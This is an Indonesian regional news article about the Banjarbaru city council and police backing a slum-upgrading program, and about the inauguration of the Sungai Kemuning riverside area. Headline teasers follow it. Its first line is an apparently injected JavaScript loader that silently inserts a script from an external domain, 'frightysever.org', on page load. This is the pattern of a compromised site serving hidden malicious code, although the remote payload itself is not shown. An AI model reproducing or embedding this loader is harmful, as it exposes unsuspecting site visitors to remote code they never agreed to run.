(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, DPRD Banjarbaru dan Polres Banjarbaru berkomitmen untuk mendukung pembenahan kawasan kumuh. Hal ini ditegaskan Ketua DPRD H Iwansyah, bahwa pihaknya sangat mendukung salah satu program pemerintah yakni pembenahan kawasan kota kumuh.
Ia mengungkapkan, salah satu dukungan yaitu dengan membuat Peraturan Daerah (Perda) tentang kota kumuh yang merupakan Perda inisiatif dewan. “Dukungan diberikan dari wakil rakyat pada pembenahan kota kumuh yakni dengan keluarnya Perda tentang kawasan kota, sehingga bisa dijadikan sebagai dasar hukum bagi Pemko Banjarbaruvdalam melakukan pembangunan” ujarnya menghadiri peresmian Infrastruktur Pemukiman Kumuh Kawasan Sungai Kemuning sebagai Fasilitas Publik, Kamis (21/2).
Bentuk dukungan lain juga diberikan oleh Kapolres Banjarbaru AKBP Kelana Jaya. Dalam hal ini bentuk dukungan yang diberikan pihak Kepolisian yaitu menciptakan rasa aman bagi masyarakat saat berada di kawasan Sungai Kemuning yang telah disulap menjadi kawasan wisata.
Selain melakukan pengawasan langsung oleh pihaknya, Kapolres Banjarbaru juga meminta masyarakat juga ikut berperan serta untuk menjaga keamanan dan kenyamanan kawasan Kampung Kemuning. Ia menghimbau masyarakat jika ada hal-hal yang bisa menciptakan suasana tidak nyaman seperti gangguan Kamtibmas, maka warga bisa melaporkannyan melalui aplikasi Siharat.
“Tak hanya melakukan pengawasan terhadap gangguan Kamtibmas, Polres Banjarbaru juga tengah melakukan aksi bersih-bersih kota. Kita akan terus berikan dukungan untik kenyamanan dan keamanan kota Banjarbaru,” ujarnya.
Seperti yang diketahui, Walikota Banjarbaru Nadjmi Adhani akhirnya meresmikan Infrastruktur Pemukiman Kumuh Kawasan Sungai Kemuning sebagai fasilitas publik, Kamis (21/2). Kegiatan Penanganan Permukiman Kumuh Kota Banjarbaru, kawasan kumuh di Banjarbaru sudah jauh berkurang, dari tahun 2016 sampai 2018 mencapai lebih dari 500 hektare. Hal ini membuat kawasan kumuh di Banjarbaru hanya tersisa 87,45 hektare saja.
Bahkan menurut Kepala Balai Prasarana Pemukiman Wilayah Kalsel, Muhammad Rizat Abidin yang turut hadir mewakili Dirjen Cipta Karya menyebutkan pembenahan kawasan kumuh di Sepanjang Sungai Kemuning adalah yang terpanjang di Indonesia karena panjang kawasan yang dibenahi lebih dari 3 kilometer. Ia juga menngukapkan saat ini pemerintah pusat melalui Kementrian PUPR akan terus menggelontorkan dana untuk menggenjot pembangunan di Kota Banjarbaru khususnya pada program kota tanpa kumuh atau “Kotaku”.
“Jika sebelumnya dana dari Pemerintah Pusat terfokus pada Sungai Kemuning, pada tahun berikutnya dana pembangunan akan difokuskan ke daerah Kecamatan Cempaka yang saat ini memiliki kawasan kumuh yang cukup luas,” ujarnya. (rico)
KANALKALIMANTAN.COM, JAKARTA - Pemerintah secara resmi menetapkan tarif baru untuk biaya pembuatan paspor yang mulai… Read More
KANALKALIMANTAN. COM, PARINGIN - Sebanyak 21 Lansia terdiri 19 wisudawati dan dua wisudawan, mengikuti wisuda… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
This website uses cookies.